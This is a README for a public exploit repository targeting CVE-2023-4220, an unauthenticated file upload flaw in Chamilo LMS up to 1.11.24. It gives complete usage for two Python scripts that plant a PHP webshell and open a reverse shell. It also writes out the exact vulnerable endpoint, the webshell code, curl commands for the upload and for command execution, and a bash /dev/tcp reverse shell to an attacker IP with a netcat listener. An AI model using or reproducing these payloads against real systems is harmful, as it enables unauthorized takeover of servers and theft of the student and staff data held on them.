
CVE-2023-4220 — Unauthenticated file upload RCE in Chamilo LMS ≤ 1.11.24. OSCP-style and auto exploit.
Python exploit for CVE-2023-4220, an unauthenticated arbitrary file upload vulnerability affecting Chamilo LMS <= 1.11.24.
The vulnerability is located in Chamilo's BigUpload component. On vulnerable installations, the upload handler allows a PHP file to be uploaded without proper validation. Since uploaded files are stored inside a web-accessible directory, the uploaded PHP file can be requested directly and used as a webshell if PHP execution is enabled.
This repository includes two versions of the exploit:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
Both scripts upload a PHP webshell, verify command execution and allow running commands through the cmd GET parameter. The only practical difference is how --shell is handled.
The auto version starts its own listener, triggers the reverse shell and switches to an interactive session automatically.
The oscp version triggers the reverse shell payload but does not start a listener. You must start your listener manually before running it.
Clone the repository:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
Install the requirements:
python3 -m pip install -r requirements.txt
The only external dependency is requests, so it can also be installed manually:
python3 -m pip install requests
The target is passed with -u or --url:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
The same options are available in both scripts:
-u, --url Target base URL
--check Check if the BigUpload files directory is reachable
--upload Upload the webshell and verify command execution
--cmd CMD Execute a single command through the uploaded webshell
--shell LHOST LPORT Trigger a reverse shell
--filename NAME Use a custom filename for the uploaded PHP file
--proxy PROXY Send traffic through a proxy, for example Burp Suite
--timeout SECONDS Set the HTTP timeout
--verify-tls Enable TLS certificate verification
--cleanup Try to remove the uploaded webshell after execution
The automatic version also includes:
--listen-timeout SEC Time to wait for the reverse shell connection
Check whether the expected BigUpload path is reachable:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Upload the PHP webshell and verify command execution:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
Run a single command:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
Use a custom filename:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Send traffic through Burp Suite:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
The examples above use the auto script, but the same syntax can be used with chamilo_cve_2023_4220_oscp.py.
The --shell option exists in both scripts, but it behaves differently depending on which version is used.
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
This version starts a local listener on 10.10.14.3:4444, uploads the webshell, triggers the reverse shell and opens the interactive session automatically.
You do not need to run nc manually when using this version.
Start your listener manually first:
sudo nc -nlvp 4444
Then run the exploit from another terminal:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
This version only sends the reverse shell payload through the uploaded webshell. The connection is received by the listener you started manually.
The reverse shell command triggered by both scripts is equivalent to:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
Make sure the LHOST value is reachable from the target. In VPN environments, this is usually your tunnel interface address:
ip -brief addr show tun0
CVE-2023-4220 affects Chamilo LMS versions up to and including 1.11.24.
The vulnerable upload handler is located at:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
The action abused by the exploit is:
?action=post-unsupported
Uploaded files are commonly accessible from:
/main/inc/lib/javascript/bigupload/files/
The exploit sends a multipart/form-data POST request using the form field expected by BigUpload:
bigUploadFile
The uploaded PHP payload is a small command wrapper:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
Commands are passed through the cmd GET parameter:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
The markers around the command output are used to extract the relevant part of the HTTP response.
The upload performed by the scripts is equivalent to:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
After a successful upload, command execution can be tested with:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check only verifies whether the expected BigUpload files directory is reachable. A positive result does not guarantee that the target is exploitable.
A full validation requires uploading the PHP payload and confirming command execution with --upload or --cmd.
If the upload works but command execution fails, PHP execution may be disabled in the upload directory, the target may be patched, or a server-side rule may be blocking the request.
Use --cleanup if you want the script to try removing the uploaded PHP file after execution.